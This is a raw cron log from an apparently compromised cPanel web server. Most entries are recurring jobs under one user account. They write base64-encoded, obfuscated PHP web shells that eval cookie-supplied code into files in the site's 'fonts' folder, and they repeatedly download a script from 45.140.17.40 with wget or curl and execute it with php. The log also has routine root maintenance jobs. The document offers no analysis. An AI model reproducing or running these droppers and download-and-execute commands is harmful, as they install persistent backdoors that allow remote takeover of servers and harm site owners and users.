Feb 23 00:35:01 ip-184-168-122-23 CROND[4242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:35:01 ip-184-168-122-23 CROND[4244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:35:01 ip-184-168-122-23 CROND[4245]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 00:35:01 ip-184-168-122-23 CROND[4247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:35:01 ip-184-168-122-23 CROND[4248]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 23 00:35:01 ip-184-168-122-23 CROND[4249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:35:01 ip-184-168-122-23 CROND[4246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:35:01 ip-184-168-122-23 CROND[4250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:36:01 ip-184-168-122-23 CROND[4506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:36:01 ip-184-168-122-23 CROND[4508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:36:01 ip-184-168-122-23 CROND[4509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:36:01 ip-184-168-122-23 CROND[4510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:36:01 ip-184-168-122-23 CROND[4511]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:37:01 ip-184-168-122-23 CROND[4726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:37:01 ip-184-168-122-23 CROND[4728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:37:01 ip-184-168-122-23 CROND[4730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:37:01 ip-184-168-122-23 CROND[4729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:38:01 ip-184-168-122-23 CROND[4873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:38:01 ip-184-168-122-23 CROND[4875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:38:01 ip-184-168-122-23 CROND[4876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:38:01 ip-184-168-122-23 CROND[4877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:38:01 ip-184-168-122-23 CROND[4878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:39:01 ip-184-168-122-23 CROND[5107]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 23 00:39:01 ip-184-168-122-23 CROND[5111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:39:01 ip-184-168-122-23 CROND[5110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:39:01 ip-184-168-122-23 CROND[5112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:39:01 ip-184-168-122-23 CROND[5109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:40:01 ip-184-168-122-23 CROND[5288]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 00:40:02 ip-184-168-122-23 CROND[5292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:40:02 ip-184-168-122-23 CROND[5293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:40:02 ip-184-168-122-23 CROND[5296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:40:02 ip-184-168-122-23 CROND[5297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:40:02 ip-184-168-122-23 CROND[5299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:40:02 ip-184-168-122-23 CROND[5300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:40:02 ip-184-168-122-23 CROND[5303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:41:01 ip-184-168-122-23 CROND[5459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:41:01 ip-184-168-122-23 CROND[5460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:41:01 ip-184-168-122-23 CROND[5461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:41:01 ip-184-168-122-23 CROND[5462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:42:01 ip-184-168-122-23 CROND[5594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:42:01 ip-184-168-122-23 CROND[5597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:42:01 ip-184-168-122-23 CROND[5596]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:42:01 ip-184-168-122-23 CROND[5599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:42:01 ip-184-168-122-23 CROND[5598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:43:01 ip-184-168-122-23 CROND[5764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:43:01 ip-184-168-122-23 CROND[5768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:43:01 ip-184-168-122-23 CROND[5770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:43:01 ip-184-168-122-23 CROND[5771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:44:01 ip-184-168-122-23 CROND[6009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:44:01 ip-184-168-122-23 CROND[6012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:44:01 ip-184-168-122-23 CROND[6013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:44:01 ip-184-168-122-23 CROND[6014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:44:01 ip-184-168-122-23 CROND[6011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:45:01 ip-184-168-122-23 CROND[6175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:45:01 ip-184-168-122-23 CROND[6177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:45:01 ip-184-168-122-23 CROND[6178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:45:01 ip-184-168-122-23 CROND[6180]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:45:01 ip-184-168-122-23 CROND[6183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:45:01 ip-184-168-122-23 CROND[6182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:45:01 ip-184-168-122-23 CROND[6179]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Feb 23 00:46:01 ip-184-168-122-23 CROND[6354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:46:01 ip-184-168-122-23 CROND[6356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:46:01 ip-184-168-122-23 CROND[6360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:46:01 ip-184-168-122-23 CROND[6359]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 00:46:01 ip-184-168-122-23 CROND[6357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:46:01 ip-184-168-122-23 CROND[6358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:47:01 ip-184-168-122-23 CROND[6536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
